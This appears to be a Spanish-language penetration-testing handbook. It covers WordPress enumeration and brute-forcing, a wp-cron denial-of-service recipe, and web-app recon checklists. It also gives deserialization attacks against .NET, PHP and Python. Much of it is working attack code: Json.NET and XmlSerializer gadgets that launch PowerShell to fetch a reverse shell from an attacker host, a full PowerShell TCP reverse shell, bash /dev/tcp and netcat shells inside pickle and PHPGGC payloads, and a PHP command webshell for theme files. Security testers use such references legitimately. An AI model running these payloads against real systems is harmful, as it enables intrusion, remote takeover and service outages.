* <https://github.com/altair-graphql/altair>

## Wordlists

* <https://github.com/Escape-Technologies/graphql-wordlist>


# Open redirect

## Payloads

* <https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet>


# Content Management System (CMS)


# WordPress

## Principales rutas y archivos <a href="#principales-rutas-y-archivos" id="principales-rutas-y-archivos"></a>

* General:
  * `/index.php`
  * `/wp-config.php`= información requerida por WordPress para conectarse a la base de datos.
  * `/wp-content/` = directorio principal donde se almacenan los complementos y los temas.
  * `/wp-content/uploads/`
  * `/wp-content/uploads/myfiles/<file>`
  * `/wp-content/plugins/`
  * `/wp-content/themes/`
  * `xmlrpc.php`
* Inicio de sesión:
  * `/wp-admin/login.php`
  * `/wp-admin/wp-login.php`
  * `/login.php`
  * `/wp-login.php`
* `/license.txt`
* `/readme.html`

## Roles de usuarios

| Rol           | Descripción                                                                                                                                                 |
| ------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Administrator | Tienen acceso a funciones administrativas dentro del sitio web. Esto incluye agregar y eliminar usuarios y publicaciones, así como editar el código fuente. |
| Editor        | Pueden publicar y administrar publicaciones, incluidas las publicaciones de otros usuarios.                                                                 |
| Author        | Pueden publicar y administrar sus propias publicaciones.                                                                                                    |
| Contributor   | Pueden escribir y administrar sus propias publicaciones, pero no pueden publicarlas.                                                                        |
| Subscriber    | Son usuarios normales que pueden buscar publicaciones y editar sus perfiles.                                                                                |

## Enumeración

### General <a href="#enumeracion-general" id="enumeracion-general"></a>

```sh
wpscan --url http://<target>/ --api-token <api-token> -o wpscan.txt
docker run -it --rm wpscanteam/wpscan --url https://<target>/ --api-token <api-token> --disable-tls-checks
docker run -it --rm wpscanteam/wpscan --url https://<target>/ --api-token <api-token> --disable-tls-checks --force --wp-content-dir "wp-content" --wp-plugins-dir "wp-content/plugins"
```

* \--url = URL (Uniform Resource Locator).
  * \<target> = objetivo.
* \--api-token = API token (<https://wpscan.com/>).
  * \<api-token> = API token.
* -o = guarda resultado del escaneo en archivo `wpscan.txt`.

#### Nmap <a href="#enumeracion-nmap" id="enumeracion-nmap"></a>

```sh
nmap -p 80,443 --script http-wordpress-enum --script-args check-latest=true,search-limit=250 <target>
```

* -p 80,443 = puertos 80/TCP y 443/TCP.
* \--script http-wordpress-enum = enumeración general.
  * check-latest=true: recupera información de la versión más reciente del plugin desde wordpress.org.
  * search-limit=200: limite de búsqueda de 250 temas y plugins.
* \<target> = objetivo.

#### cURL <a href="#enumeracion-curl" id="enumeracion-curl"></a>

Obtención de número de versión de Wordpress.

```bash
curl -s -X GET http://<target> | grep '<meta name="generator"'
```

### Usuarios <a href="#enumeracion-usuarios" id="enumeracion-usuarios"></a>

#### WPScan <a href="#enumeracion-usuarios-wpscan" id="enumeracion-usuarios-wpscan"></a>

```sh
wpscan --url http://<target>/ --enumerate u -o wpscan-user.txt
```

* \--url = URL (Uniform Resource Locator).
  * \<target> = objetivo.
* \--enumerate u = enumeración de usuarios.
* -o = guarda resultado del escaneo en archivo `wpscan-user.txt`.

#### Nmap <a href="#enumeracion-usuarios-nmap" id="enumeracion-usuarios-nmap"></a>

```sh
nmap -p 80,443 --script http-wordpress-users --script-args limit=50 <target>
```

* -p 80,443 = puertos 80/TCP y 443/TCP.
* \--script http-wordpress-users = enumeración de usuarios.
  * \--script-args limit=50: limite de búsqueda por los primeros 50 ID de usuarios.
* \<target> = objetivo.

#### cURL <a href="#enumeracion-usuarios-curl" id="enumeracion-usuarios-curl"></a>

Enumeración por nombre de usuario.

```sh
curl -s -o /dev/null -w "%{http_code}\n" http://<target>/author/<username>
```

* \<target> = objetivo.
* \<username> = nombre de usuario.

Enumeración de usuarios desde listado.

```bash
for i in $(cat <path-usernames>); \
do curl -s -o /dev/null -w "%{http_code}:$i\n" \
http://<target>/author/$i; done
```

* \<path-usernames> = ruta de usuarios.
* \<target> = objetivo.

Enumeración de usuarios por ID.

```bash
for i in {1..10}; \
do curl -L -s http://<target>/?author=$i \
| grep -iPo '(?<=<title>)(.*)(?=</title>)' \
| cut -f1 -d" " | grep -v "Page"; done
```

JSON endpoint.

```bash
curl -s http://<target>/wp-json/wp/v2/users | jq
```

### Plugins <a href="#enumeracion-plugins" id="enumeracion-plugins"></a>

{% hint style="info" %}
Desactivar un plugin vulnerable no mejora la seguridad del sitio de WordPress. Es una buena práctica eliminar o mantener actualizados los complementos no utilizados.

Si un plugin está desactivado, aún puede ser accesible y, por lo tanto, podemos obtener acceso a sus scripts y funciones asociados.
{% endhint %}

Revisión manualmente de ruta de plugins.

```
http://<target>/wp-content/plugins/
```

#### WPScan <a href="#enumeracion-plugins-wpscan" id="enumeracion-plugins-wpscan"></a>

```sh
wpscan --url http://<target>/ --enumerate p
```

* \--url = URL (Uniform Resource Locator).
  * \<target> = objetivo.
* \--enumerate p = enumeración de plugins.

#### Nmap <a href="#enumeracion-plugins-nmap" id="enumeracion-plugins-nmap"></a>

```sh
nmap -p 80,443 --script http-wordpress-enum --script-args type="plugins",check-latest=true,search-limit=250 <target>
```

* -p 80,443 = puertos 80/TCP y 443/TCP.
* \--script http-wordpress-enum = enumeración general.
  * type="themes" = enumeración de temas.
  * check-latest=true: recupera información de la versión más reciente del plugin desde wordpress.org.
  * search-limit=200: limite de búsqueda de 250 plugins.
* \<target> = objetivo.

#### cURL <a href="#enumeracion-plugins-curl" id="enumeracion-plugins-curl"></a>

```bash
curl -s -X GET http://<target> | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'wp-content/plugins/*' | cut -d"'" -f2
```

### Themes

#### cURL <a href="#enumeracion-themes-curl" id="enumeracion-themes-curl"></a>

```bash
curl -s -X GET http://<target> | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'themes' | cut -d"'" -f2
```

## XML-RPC

Verificación de XML-RPC activo.

* `/xmlrpc.php`

```bash
curl -X POST http://<target>/xmlrpc.php \
-H "Content-Type: application/xml" \
-H "Accept: application/xml" \
-d "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>"
```

## wp-cron.php

De forma predeterminada, al recibir una solicitud, WordPress genera una solicitud adicional al archivo `wp-cron.php`. Al generar un gran número de solicitudes al sitio, es posible que este realice un ataque de Denial of Service (DoS) contra sí mismo.

```sh
# Monitoreo en paralelo
while true; do echo -n "$(date '+%Y-%m-%d %H:%M:%S') "; curl -o /dev/null -s -k -w '%{http_code} %{time_total}\n' https://<target>/; sleep 2; done
# Denial of Service (DoS)
git clone https://github.com/Quitten/doser.go.git
cd doser.go/
go build doser.go
./doser -t 100000 -g 'https://<target>/wp-cron.php'
```

El sitio podría tener definida la constante `DISABLE_WP_CRON` en el archivo `wp-config.php` con el valor `true`, lo que deshabilita la ejecución automática de `wp-cron.php` en cada solicitud. Esta configuración no puede determinarse externamente, por lo que el estado real únicamente puede verificarse con acceso directo a la configuración del sitio.

{% code title="wp-config.php" %}

```php
define('DISABLE_WP_CRON', true);
```

{% endcode %}

## Ataques de contraseñas

### Usuarios <a href="#ataques-de-contrasenas-usuarios" id="ataques-de-contrasenas-usuarios"></a>

#### WPScan <a href="#ataques-de-contrasenas-usuarios-wpscan" id="ataques-de-contrasenas-usuarios-wpscan"></a>

Método "wp-login".

```sh
wpscan --password-attack wp-login --url http://<target>/ --usernames <user-01,user-02,user-03> --passwords <path-passwords>
```

* \--password-attack = wp-login.
* \--url = URL (Uniform Resource Locator).
  * \<target> = objetivo.
* \--usernames = usuarios.
  * \<user-01, user-02, user-03> = usuario 01, usuarios 02, usuario 03, etc.
* \--passwords = contraseñas.
  * \<path-passwords> = ruta de archivo con listado de contraseñas.

Método "xmlrpc".

```sh
wpscan --password-attack xmlrpc --url http://<target>/ --usernames <user-01,user-02,user-03> --passwords <path-passwords>
```

* \--password-attack = xmlrpc.
* \--url = URL (Uniform Resource Locator).
  * \<target> = objetivo.
* \--usernames = usuarios.
  * \<user-01, user-02, user-03> = usuario 01, usuarios 02, usuario 03, etc.
* \--passwords = contraseñas.
  * \<path-passwords> = ruta de archivo con listado de contraseñas.

#### cURL <a href="#ataques-de-contrasenas-usuarios-curl" id="ataques-de-contrasenas-usuarios-curl"></a>

Utilizando XML-RPC (`/xmlrpc.php`).

```bash
curl -X POST -d "<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>{user}</value></param><param><value>{password}</value></param></params></methodCall>" http://<target>/xmlrpc.php
```

* {user} = usuario.
* {password} = contraseña.
* \<target> = objetivo.

### Cracking de contraseñas de usuarios en base de datos <a href="#ataques-de-contrasenas-cracking-de-contrasenas-de-usuarios-en-base-de-datos" id="ataques-de-contrasenas-cracking-de-contrasenas-de-usuarios-en-base-de-datos"></a>

#### MySQL CLI <a href="#ataques-de-contrasenas-cracking-de-contrasenas-de-usuarios-en-base-de-datos-mysql-cli" id="ataques-de-contrasenas-cracking-de-contrasenas-de-usuarios-en-base-de-datos-mysql-cli"></a>

```sh
mysql --user=<user> --password=<password> --host=<target>
show databases;
use wordpress;
show tables;
describe wp_users;
select user_login, user_pass from wp_users;
select concat_ws(':', user_login, user_pass) from wp_users;
```

#### John the Ripper <a href="#ataques-de-contrasenas-cracking-de-contrasenas-de-usuarios-en-base-de-datos-john-the-ripper" id="ataques-de-contrasenas-cracking-de-contrasenas-de-usuarios-en-base-de-datos-john-the-ripper"></a>

```sh
john hashes.txt --wordlist=<path-wordlist>
```

## Upload reverse shell

### Theme <a href="#upload-reverse-shell-theme" id="upload-reverse-shell-theme"></a>

{% hint style="info" %}
Se recomienda seleccionar un theme inactivo, así evitar corromper el theme principal que se encuentra en uso.
{% endhint %}

Modificación de theme.

* `wp-admin -> Appearance -> Theme Editor -> Select theme to edit -> 404 Template (404.php)`

{% code title="Código webshell PHP" %}

```php
system($_GET['cmd']);
```

{% endcode %}

Ejecución de webshell.

```bash
curl -X GET "http://{target}/wp-content/themes/<theme-name>/404.php?cmd=id"
```

### Plugin <a href="#upload-reverse-shell-plugin" id="upload-reverse-shell-plugin"></a>

* `wp-admin -> Plugins -> Plugin Editor -> file.php`
  * Activar plugin.

### Metasploit Framework (MSF) <a href="#upload-reverse-shell-metasploit-framework-msf" id="upload-reverse-shell-metasploit-framework-msf"></a>

```sh
use exploit/unix/webapp/wp_admin_shell_upload
```


# Websocket

## SQL injection (SQLi)

* <https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/sql-injection/sqli_middleware_websockets.py>

## Herramientas

* <https://github.com/websockets/wscat>
* <https://github.com/vi/websocat>
* <https://github.com/PalindromeLabs/STEWS>


# Deserialization

## C\#

### Json.NET

#### Gadget ObjectDataProvider (ejemplo 1) <a href="#json.net-gadget-objectdataprovider-ejemplo-1" id="json.net-gadget-objectdataprovider-ejemplo-1"></a>

```json
{
    "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
    "ObjectType": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "MethodParameters": {
        "$type": "MS.Internal.Data.ParameterCollection, PresentationFramework",
        "$values": [
            "powershell.exe",
            "IEX(New-Object Net.WebClient).downloadString('http://<attacker-IP-address>:80/reverse-shell.ps1')"
        ]
    },
    "MethodName": "Start"
}
```

#### Gadget ObjectDataProvider (ejemplo 2) <a href="#json.net-gadget-objectdataprovider-ejemplo-2" id="json.net-gadget-objectdataprovider-ejemplo-2"></a>

```json
{
    "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
    "ObjectType": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "MethodParameters": {
        "$type": "MS.Internal.Data.ParameterCollection, PresentationFramework",
        "$values": [
            "C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe",
            "-WindowStyle Hidden -NonInteractive -exec bypass -enc <base64-payload>"
        ]
    },
    "MethodName": "Start"
}
```

### XmlSerializer

#### Gadget ObjectDataProvider (ejemplo 1) <a href="#xmlserializer-gadget-objectdataprovider-ejemplo-1" id="xmlserializer-gadget-objectdataprovider-ejemplo-1"></a>

```json
<?xml version="1.0"?>
<Example xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <ProjectedProperty0>
    <ObjectInstance xsi:type="XamlReader" />
    <MethodName>Parse</MethodName>
    <MethodParameters>
      <anyType xsi:type="xsd:string">&lt;ObjectDataProvider MethodName="Start" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:sc="clr-namespace:System.Collections;assembly=mscorlib" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"&gt;&lt;ObjectDataProvider.ObjectInstance&gt;&lt;sd:Process&gt;&lt;sd:Process.StartInfo&gt;&lt;sd:ProcessStartInfo Arguments="IEX(New-Object Net.WebClient).downloadString('http://<attacker-IP-address>:80/reverse-shell.ps1')" StandardErrorEncoding="{x:Null}" StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}" Domain="" LoadUserProfile="False" FileName="powershell.exe"&gt;&lt;/sd:ProcessStartInfo&gt;&lt;/sd:Process.StartInfo&gt;&lt;/sd:Process&gt;&lt;/ObjectDataProvider.ObjectInstance&gt;&lt;/ObjectDataProvider&gt;</anyType>
    </MethodParameters>
  </ProjectedProperty0>
</Example>
```

#### Gadget ObjectDataProvider (ejemplo 2) <a href="#xmlserializer-gadget-objectdataprovider-ejemplo-2" id="xmlserializer-gadget-objectdataprovider-ejemplo-2"></a>

```json
<?xml version="1.0"?>
<Example xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <ProjectedProperty0>
    <ObjectInstance xsi:type="XamlReader" />
    <MethodName>Parse</MethodName>
    <MethodParameters>
      <anyType xsi:type="xsd:string">&lt;ObjectDataProvider MethodName="Start" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:sc="clr-namespace:System.Collections;assembly=mscorlib" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"&gt;&lt;ObjectDataProvider.ObjectInstance&gt;&lt;sd:Process&gt;&lt;sd:Process.StartInfo&gt;&lt;sd:ProcessStartInfo Arguments="-WindowStyle Hidden -NonInteractive -exec bypass -enc <base64-payload>" StandardErrorEncoding="{x:Null}" StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}" Domain="" LoadUserProfile="False" FileName="C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"&gt;&lt;/sd:ProcessStartInfo&gt;&lt;/sd:Process.StartInfo&gt;&lt;/sd:Process&gt;&lt;/ObjectDataProvider.ObjectInstance&gt;&lt;/ObjectDataProvider&gt;</anyType>
    </MethodParameters>
  </ProjectedProperty0>
</Example>
```

#### Type <a href="#xmlserializer-type" id="xmlserializer-type"></a>

```csharp
System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
```

### Reverse shell

#### Ejemplo 1 <a href="#reverse-shell-ejemplo-1" id="reverse-shell-ejemplo-1"></a>

* <https://github.com/MrW0l05zyn/pentesting/blob/master/windows/shell/powershell/reverse-shell.ps1>

```sh
# Máquina atacante
## reverse shell (reverse-shell.ps1)
$client = New-Object System.Net.Sockets.TCPClient('<attacker-IP-address>',<listen-port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
## HTTP server
python3 -m http.server 80
## Netcat
nc -lvnp <listen-port>
```

#### Ejemplo 2 <a href="#reverse-shell-ejemplo-2" id="reverse-shell-ejemplo-2"></a>

```sh
# Máquina atacante
## Descarga de netcat
wget https://raw.githubusercontent.com/MrW0l05zyn/pentesting/refs/heads/master/windows/shell/netcat/netcat-x64.exe
mv netcat-x64.exe nc.exe
## HTTP server
python3 -m http.server 80
## Generación de payload en base64
python3 -c 'import base64; print(base64.b64encode((r"""(new-object net.webclient).downloadfile("http://<attacker-IP-address>:80/nc.exe", "c:\windows\tasks\nc.exe");c:\windows\tasks\nc.exe -nv <attacker-IP-address> <listen-port> -e c:\windows\system32\cmd.exe;""").encode("utf-16-le")).decode())'
## Netcat
nc -lvnp <listen-port>
```

### Herramientas

#### YSoSerial.NET

* <https://github.com/pwntester/ysoserial.net>

```sh
# General
.\ysoserial.exe -f <formatter> -g <gadget> -c <payload> -o <output>
# Json.Net / Gadget ObjectDataProvider
.\ysoserial.exe -f Json.Net -g ObjectDataProvider -c "<payload>" -o Raw
# XmlSerializer / Gadget ObjectDataProvider
.\ysoserial.exe -f XmlSerializer -g ObjectDataProvider -c "<payload>" -o Raw
```

## PHP

### Herramientas

#### PHPGGC

* <https://github.com/ambionics/phpggc>

Listar gadget chains disponibles.

```sh
phpggc -l
phpggc -l <framework>
```

Generar un payload utilizando un gadget chains específico.

```sh
phpggc <gadget-chain> system "nc -nv <attacker-IP-address> <listen-port> -e /bin/bash" -b
phpggc <gadget-chain> system "bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1'" -b
phpggc <gadget-chain> exec "bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1'" -b
phpggc <gadget-chain> shell_exec "bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1'" -b
phpggc <gadget-chain> passthru "bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1'" -b
```

Generar un archivo PHAR utilizando un gadget chains específico.

```sh
phpggc -p phar <gadget-chain> system "nc -nv <attacker-IP-address> <listen-port> -e /bin/bash" -o file.phar
phpggc -p phar <gadget-chain> system "bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1'" -o file.phar
phpggc -p phar <gadget-chain> exec "bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1'" -o file.phar
phpggc -p phar <gadget-chain> shell_exec "bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1'" -o file.phar
phpggc -p phar <gadget-chain> passthru "bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1'" -o file.phar
```

```
http://example.com/?file=uploads/file.txt
http://example.com/?file=phar://uploads/file.phar
```

## Python

### Pickle

```python
import base64, pickle, os

class RCE:
	def __reduce__(self):
		payload = "nc -nv <attacker-IP-address> <listen-port> -e /bin/bash"
		return os.system, (payload,)

print(base64.b64encode(pickle.dumps(RCE())).decode())
```

### JSONPickle

```python
import jsonpickle, os

class RCE:
	def __reduce__(self):
		payload = "nc -nv <attacker-IP-address> <listen-port> -e /bin/bash"
		return os.system, (payload,)

print(jsonpickle.encode(RCE()))
```

### PyYAML

```python
import yaml, subprocess

class RCE:
	def __reduce__(self):
		return subprocess.Popen(["nc", "-nv", "<attacker-IP-address>", "<listen-port>", "-e", "/bin/bash"])

print(yaml.dump(RCE()))
```

### Herramientas

#### PEAS

* <https://github.com/j0lt-github/python-deserialization-attack-payload-generator>


# Flash

* Obtener el código fuente del archivo SWF y buscar información relevante (URL, información de credenciales, etc.).
  * Sothink SWF Decompiler.
  * Flash Decompiler Trillix.
  * Comprobar si los parámetros de entrada están sanitizados.
* Análisis de la página contenedora (generalmente la página HTML que contiene el archivo SWF).
  * Revisar la configuración del parámetro `allowScriptAccess`.
    * Always: el archivo SWF se puede comunicar con la página HTML que lo incorpora independientemente del dominio (SWF puede estar en un dominio A y comunicarse con el dominio B).
    * sameDomain: el archivo SWF solo se comunica con la página HTML que lo incorpora cuando su dominio y el de la página son iguales. Este es el valor predeterminado de `allowScriptAccess`. Esta configuración evita que un archivo SWF alojado en un dominio acceda a un script de una página HTML perteneciente a otro dominio.
    * never: el archivo SWF nunca puede comunicarse con la página HTML.
  * Comprobar si los argumentos de entrada que se entregan a Flash están sanitizados.
* Comprobar si el archivo de política `crossdomain.xml` está configurado correctamente.
* Buscar vulnerabilidades comunes: inyecciones HTML, XSS y utilizar fuzzer de Adobe SWF Investigator.
  * <https://labs.adobe.com/technologies/swfinvestigator/>


# C\#

## Descompilación

* [dnSpy](https://github.com/dnSpy/dnSpy)
* [dotPeek](https://www.jetbrains.com/decompiler/)
* [ILSpy](https://github.com/icsharpcode/ILSpy) (Windows) / [AvaloniaILSpy](https://github.com/icsharpcode/AvaloniaILSpy) (Linux/Unix)


# Java

## Descompilación

### **Fernflower**

* <https://github.com/fesh0r/fernflower>

```sh
# Instalación Fernflower
git clone https://github.com/fesh0r/fernflower.git
cd fernflower
./gradlew build
ls -la build/libs/fernflower.jar
```

```sh
# Descompilación de aplicación Java con Fernflower
mkdir src
java -jar fernflower.jar <application.jar> src
cd src
jar -xf <application.jar>
```

### JD-GUI

* <https://java-decompiler.github.io/>

## Remote debugging

```sh
ssh -L 8000:127.0.0.1:8000 <user>@<IP-address>
java -Xdebug -Xrunjdwp:transport=dt_socket,address=8000,server=y,suspend=y -jar <application.jar>
```


# JavaScript

## Identificación de funciones con entrada de usuario (user input)

```regex
(req.body)+|(req.params)+
```

## Identificación de variables nulas

```regex
(let|var) [A-Za-z]*;
```


# Web application penetration testing

## Reconocimiento y recolección de información

<details>

<summary><a href="/reconocimiento-y-recoleccion-de-informacion/web-application-firewall-waf">Web Application Firewall (WAF)</a></summary>

```sh
wafw00f <target>
nuclei -u <target> -t dns/dns-waf-detect.yaml,http/technologies/secui-waf-detect.yaml,http/technologies/waf-detect.yaml -ts -silent
```

</details>

<details>

<summary><a href="https://pentesting.mrw0l05zyn.cl/reconocimiento-y-recoleccion-de-informacion/domain-name-system-dns">Domain Name System (DNS)</a></summary>

```sh
dig any <target> @<dns-server>
dnsrecon -d <target>
nuclei -u <target> -t dns -ts -silent
```

</details>

<details>

<summary><a href="/reconocimiento-y-recoleccion-de-informacion/subdominios-y-virtual-host-vhost">Subdominios y Virtual Host (VHost)</a></summary>

```sh
# Subdominios
subfinder -d <target> -recursive -all -silent | alterx -en -silent | dnsx -silent -o subdomains.txt
dnsx -d <target> -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -silent -o dnsx-subdomains.txt
ffuf -u http://FUZZ.<target>/ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt:FUZZ -c -o ffuf-subdomains.html -of html
# Virtual Host (VHost)
ffuf -u http://<target>/ -w <path-wordlist>:FUZZ -H 'Host: FUZZ.<target>' -fs <size> -c -o ffuf-vhost.html -of html
```

</details>

<details>

<summary><a href="/reconocimiento-y-recoleccion-de-informacion/ssl-tls-y-algoritmos-de-cifrados">SSL/TLS y algoritmos de cifrados</a></summary>

```bash
sslscan <target>
nuclei -u <target> -t ssl -ts -silent
```

</details>

<details>

<summary><a href="/reconocimiento-y-recoleccion-de-informacion/tecnologias-web">Tecnologías web</a></summary>

```sh
whatweb -v -a 1 <target>
nuclei -u <target> -t http/technologies -ts --silent
```

</details>

<details>

<summary>Otros</summary>

* Revisión de archivo `robots.txt`.

```sh
curl <target>/robots.txt
```

* Revisión de código fuente.
  * Meta tags de HTML.
  * Titulo y pie de página (footer).
  * Comentarios.
  * Funciones y endpoints/APIs en archivos JavaScript.&#x20;
* [Google hacking / dorks](https://pentesting.mrw0l05zyn.cl/reconocimiento-y-recoleccion-de-informacion/google-hacking-dorks).

</details>

## Escaneo y enumeración

<details>

<summary><a href="/escaneo-y-enumeracion/http-security-headers">HTTP security headers</a></summary>

```sh
shcheck.py -i -k <target>
nuclei -u <target> -t http/misconfiguration/http-missing-security-headers.yaml -ts -silent
```

</details>

<details>

<summary>Redireccionamiento estricto de HTTP a HTTPS</summary>

```sh
nmap -sV -p 80,443 -n -Pn <host>
curl -I -l http://<target>
curl https://<target>
```

</details>

<details>

<summary><a href="/escaneo-y-enumeracion/crawling-y-spidering">Crawling y spidering</a></summary>

```sh
echo 'http://<target>' | hakrawler | sort -u
cewl http://<target> -d 2 -m 5 -w wordlist-crawling-01.txt
cewl http://<target> -d 3 -m 3 -w wordlist-crawling-02.txt
```

</details>

<details>

<summary><a href="/escaneo-y-enumeracion/fuzzing">Fuzzing</a></summary>

[Fuzzing general](/escaneo-y-enumeracion/fuzzing).

```sh
# General
dirsearch -u http://<target>/ -o $(pwd)/dirsearch-fuzzing.txt
# Búsqueda recursiva
dirsearch -u http://<target>/ -o $(pwd)/dirsearch-fuzzing-recursive.txt -r
```

[Fuzzing de directorios](/escaneo-y-enumeracion/fuzzing/directorios).

```sh
# Wordlist
ffuf -u http://<target>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt:FUZZ -c -mc all -fc 404 -o ffuf-fuzzing-directories.html -of html
# Wordlist crawling
ffuf -u http://<target>/FUZZ -w <wordlist-crawling.txt>:FUZZ -c -mc all -fc 404 -o ffuf-fuzzing-directories-crawling.html -of html
```

[Fuzzing de archivos](/escaneo-y-enumeracion/fuzzing/archivos).

```sh
# Wordlist
ffuf -u http://<target>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt:FUZZ -c -mc all -fc 404 -o ffuf-fuzzing-files.html -of html
```

[Fuzzing por extensiones](/escaneo-y-enumeracion/fuzzing/extensiones).

```sh
# Identificación de extensiones
ffuf -u http://<target>/indexFUZZ -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt:FUZZ -c -mc all -fc 404
# Wordlist + extensiones (.html, .js, .php, .jsp, .aspx)
ffuf -u http://<target>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt:FUZZ -e .html,.js,.php,.jsp,.aspx -c -mc all -fc 404 -o ffuf-fuzzing-extensions.html -of html
# Wordlist + extensiones (ocultos / .txt, .config, .old, .bak, .inc)
ffuf -u http://<target>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt:FUZZ -e .txt,.config,.old,.bak,.inc -c -mc all -fc 404 -o ffuf-fuzzing-extensions-hidden.html -of html
# Wordlist crawling + extensiones
ffuf -u http://<target>/FUZZ -w <wordlist-crawling.txt>:FUZZ -e .html,.js,.php,.jsp,.aspx,.txt,.config,.old,.bak,.inc -c -mc all -fc 404 -o ffuf-fuzzing-crawling-extensions.html -of html
```

</details>

<details>

<summary>Escaneo automatizado</summary>

* Burp Suite Professional.
* Nuclei.

```sh
nuclei -u <target> -ts -silent
```

* OWASP Zed Attack Proxy (ZAP).
* Nessus.

</details>

## **Explotación**

* [API keys](/explotacion/api-keys)
* [Clickjacking](/explotacion/clickjacking)
* [HTTP methods (verbs)](/explotacion/http-methods-verbs)
* [Input data validation](/explotacion/input-data-validation)
* [HTTP Host header](/explotacion/http-host-header)
* [Autenticación y autorización](/explotacion/autenticacion-y-autorizacion)
* [Same-origin policy (SOP)](/explotacion/same-origin-policy-sop)
* [Cross-site scripting (XSS)](/explotacion/cross-site-scripting-xss)
* [Cross-site request forgery (CSRF)](/explotacion/cross-site-request-forgery-csrf)
* [File upload](/explotacion/file-upload)
* [Path traversal & file inclusion](/explotacion/path-traversal-and-file-inclusion)
* [Command injection](/explotacion/command-injection)
* [SQL injection (SQLi)](/explotacion/sql-injection-sqli)
* [NoSQL injection (NoSQLi)](/explotacion/nosql-injection-nosqli)
* [XML external entity (XXE) injection](/explotacion/xml-external-entity-xxe-injection)
* [CRLF injection](/explotacion/crlf-injection)
* [XPath injection](/explotacion/xpath-injection)
* [LDAP injection](/explotacion/ldap-injection)
* [PDF injection](/explotacion/pdf-injection)
* [Server-side template injection (SSTI)](/explotacion/server-side-template-injection-ssti)
* [Server-side include (SSI) injection](/explotacion/server-side-include-ssi-injection)
* [Server-side request forgery (SSRF)](/explotacion/server-side-request-forgery-ssrf)
* [Web cache poisoning](/explotacion/web-cache-poisoning)
* [HTTP request smuggling](/explotacion/http-request-smuggling)
* [Prototype pollution](/explotacion/prototype-pollution)
* [Web API](/checklist/web-api-penetration-testing)
  * [GraphQL](/explotacion/graphql)
* Webservices
  * Obtención de archivo WSDL
  * Análisis de archivo WSDL para obtener información general sobre la estructura de cada operación y la existencia de métodos ocultos
  * SOAPAction spoofing
* [Open redirect](/explotacion/open-redirect)
* [Content Management System (CMS)](/explotacion/content-management-system-cms)
  * [WordPress](/explotacion/content-management-system-cms/wordpress)
* [Websocket](/explotacion/websocket)
* [Deserialization](/explotacion/deserialization)
* [Flash](/explotacion/flash)


# Web API penetration testing

<details>

<summary><a href="/reconocimiento-y-recoleccion-de-informacion/web-application-firewall-waf">Web Application Firewall (WAF)</a></summary>

```sh
wafw00f <URL>
nuclei -u <URL> -t dns/dns-waf-detect.yaml,http/technologies/secui-waf-detect.yaml,http/technologies/waf-detect.yaml -H "Authorization: Bearer <token>" -ts -silent
```

</details>

<details>

<summary><a href="/escaneo-y-enumeracion/http-security-headers">HTTP security headers</a></summary>

```sh
shcheck.py -i -k <URL>
nuclei -u <URL> -t http/misconfiguration/http-missing-security-headers.yaml -H "Authorization: Bearer <token>" -ts -silent
```

No HTTP headers con divulgación de información.

* Server
* X-Powered-By
* X-AspNet\*

Expresión regular para identificar HTTP security headers recomendados.

```regex
